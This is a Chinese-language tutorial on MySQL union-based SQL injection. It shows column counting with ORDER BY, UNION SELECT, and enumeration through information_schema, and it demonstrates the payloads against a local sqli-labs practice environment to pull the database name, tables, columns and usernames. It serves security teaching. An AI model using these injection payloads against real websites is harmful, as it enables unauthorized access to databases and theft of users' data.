Mysql注入 -- 联合注入

一、常用命令及函数

1、order by排序，获取数据有几个字段，后面小于等于字段数，都会返回结果，大于字段数返回错误

select * from users order by 3；

2、union select联合查询，后边必须跟一样的字段数

select * from users union select 1,2,5;

3、user()查看当前mysql用户

4、version()查看mysql版本信息

5、database()查看当前数据库名

select * from users union select user(),version(),database();

二、跨库查询

1、获取aiyou数据库中表

select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou";

2、获取下一个表格

select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 0,1;select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 1,1;select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 2,1;

3、获取字段名

select * from users union select 1,2,column_name from information_schema.columns where table_name="bucuo";

4、获取字段内容

select * from users union select 1,2,username from users；

三、实例演示（sqli环境）

1、判断表有多少字段，order by 3返回正常，所以有三个字段

http://192.168.139.129/sqli/Less-2/?id=1 order by 3

2、联合查询可以显示的数列，让前面的select语句报错，才能执行后面的select语句

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,3

3、获取数据库名字和版本信息，因为1不能显示，所以将2和3替换为version(),database()

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,version(),database()

4、获取数据库security的表

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security"

获取第二个表、第三个表

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security" limit 1,1 --

5、获取表名为users的字段名

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users"http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users" limit 1,1 --

6、获取字段内容

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from usershttp://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from users limit 1,1 --